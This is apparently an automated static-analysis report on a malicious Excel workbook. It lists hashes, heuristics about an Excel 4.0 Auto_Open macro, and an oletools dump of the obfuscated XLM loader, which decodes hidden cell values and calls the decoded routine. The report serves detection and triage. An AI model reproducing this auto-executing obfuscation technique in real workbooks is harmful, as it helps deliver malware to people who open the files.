Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 94a8cd491c6baaa2…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:41:44 Authoring application: Microsoft Excel First seen: 2021-04-01
MD5: 914a9f09064dddc6e603b769ffcec339 SHA-1: 017a729f6db47adcf83e945262660fea9714cf3c SHA-256: 94a8cd491c6baaa257bebff84d9b5fff020268af8e8e9b1a5c542c8e11a9aeba
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6745 bytes
SHA-256: a55c1f81bbf48b5116a24cd8493cba21917cad7e410f28cc633a65d47bbddc05
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     16 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xuSHlKR
' 0018     23 LABEL : Cell Value, String Constant - AncOeepv len=0 
' 0018     20 LABEL : Cell Value, String Constant - aszHo len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G177 
' 0018     27 LABEL : Cell Value, String Constant - gNgfHFYfCzfZ len=0 
' 0018     25 LABEL : Cell Value, String Constant - iWoNZrFNEy len=0 
' 0018     20 LABEL : Cell Value, String Constant - JQaAl len=0 
' 0018     22 LABEL : Cell Value, String Constant - LXMUzmr len=0 
' 0018     20 LABEL : Cell Value, String Constant - MmVuL len=0 
' 0018     21 LABEL : Cell Value, String Constant - MRAial len=0 
' 0018     24 LABEL : Cell Value, String Constant - NjplscdNr len=0 
' 0018     20 LABEL : Cell Value, String Constant - ozxAv len=0 
' 0018     26 LABEL : Cell Value, String Constant - PsZAdUavjWZ len=0 
' 0018     22 LABEL : Cell Value, String Constant - QEuNGrr len=0 
' 0018     20 LABEL : Cell Value, String Constant - rUgzn len=0 
' 0018     27 LABEL : Cell Value, String Constant - sHHUnWQvHVbO len=0 
' 0018     26 LABEL : Cell Value, String Constant - tPxqRHgNWsR len=0 
' 0018     21 LABEL : Cell Value, String Constant - tsgxfo len=0 
' 0018     23 LABEL : Cell Value, String Constant - UNsQrcWd len=0 
' 0018     27 LABEL : Cell Value, String Constant - UvHhHhLHlQRZ len=0 
' 0018     24 LABEL : Cell Value, String Constant - VHDmGPYOr len=0 
' 0018     20 LABEL : Cell Value, String Constant - YOXRN len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xuSHlKR,Q44,"",-667.00000000000000000000
'  xuSHlKR,Q45,"",-513.00000000000000000000
'  xuSHlKR,Q46,"",679.00000000000000000000
'  xuSHlKR,Q47,"",-134.00000000000000000000
'  xuSHlKR,Q48,"",-190.00000000000000000000
'  xuSHlKR,Q49,"",-260.00000000000000000000
'  xuSHlKR,G92,"SET.NAME("rUgzn",0+VALUE("0"))",""
'  xuSHlKR,G97,"SET.NAME("sHHUnWQvHVbO",rUgzn)",""
'  xuSHlKR,G100,"SET.NAME("YOXRN",rUgzn)",""
'  xuSHlKR,G104,"SET.NAME("MRAial",COUNTA(UvHhHhLHlQRZ))",""
'  xuSHlKR,G107,"SET.NAME("gNgfHFYfCzfZ",COUNTA(tsgxfo))",""
'  xuSHlKR,G109,[],""
'  xuSHlKR,G111,"SET.NAME("UNsQrcWd","")",""
'  xuSHlKR,G113,"sHHUnWQvHVbO",""
'  xuSHlKR,G118,"SET.NAME("JQaAl",HLOOKUP("*",UvHhHhLHlQRZ,sHHUnWQvHVbO,FALSE))",""
'  xuSHlKR,G121,"VHDmGPYOr",""
'  xuSHlKR,G123,"SET.NAME("AncOeepv",rUgzn)",""
'  xuSHlKR,G126,[],""
'  xuSHlKR,G130,"AncOeepv",""
'  xuSHlKR,G134,"ozxAv",""
'  xuSHlKR,G136,"iWoNZrFNEy",""
'  xuSHlKR,G138,"MmVuL",""
'  xuSHlKR,G140,"SET.NAME("NjplscdNr",VALUE(HLOOKUP("*",tsgxfo,MmVuL,FALSE)))",""
'  xuSHlKR,G142,"LXMUzmr",""
'  xuSHlKR,G145,"UNsQrcWd",""
'  xuSHlKR,G150,"YOXRN",""
'  xuSHlKR,G153,NEXT(),""
'  xuSHlKR,G158,"aszHo",""
'  xuSHlKR,G162,[],""
'  xuSHlKR,G167,"QEuNGrr",""
'  xuSHlKR,G169,NEXT(),""
'  xuSHlKR,G172,RETURN(),""
'  xuSHlKR,G202,"SET.NAME("PsZAdUavjWZ",G92)",""
'  xuSHlKR,G204,"UvHhHhLHlQRZ",""
'  xuSHlKR,G208,"SET.NAME("tsgxfo",R71C14)",""
'  xuSHlKR,G210,"SET.NAME("QEuNGrr",218)",""
'  xuSHlKR,G213,"SET.NAME("tPxqRHgNWsR",7)",""
'  xuSHlKR,G217,PsZAdUavjWZ(),""
'  xuSHlKR,G218,HALT(),""

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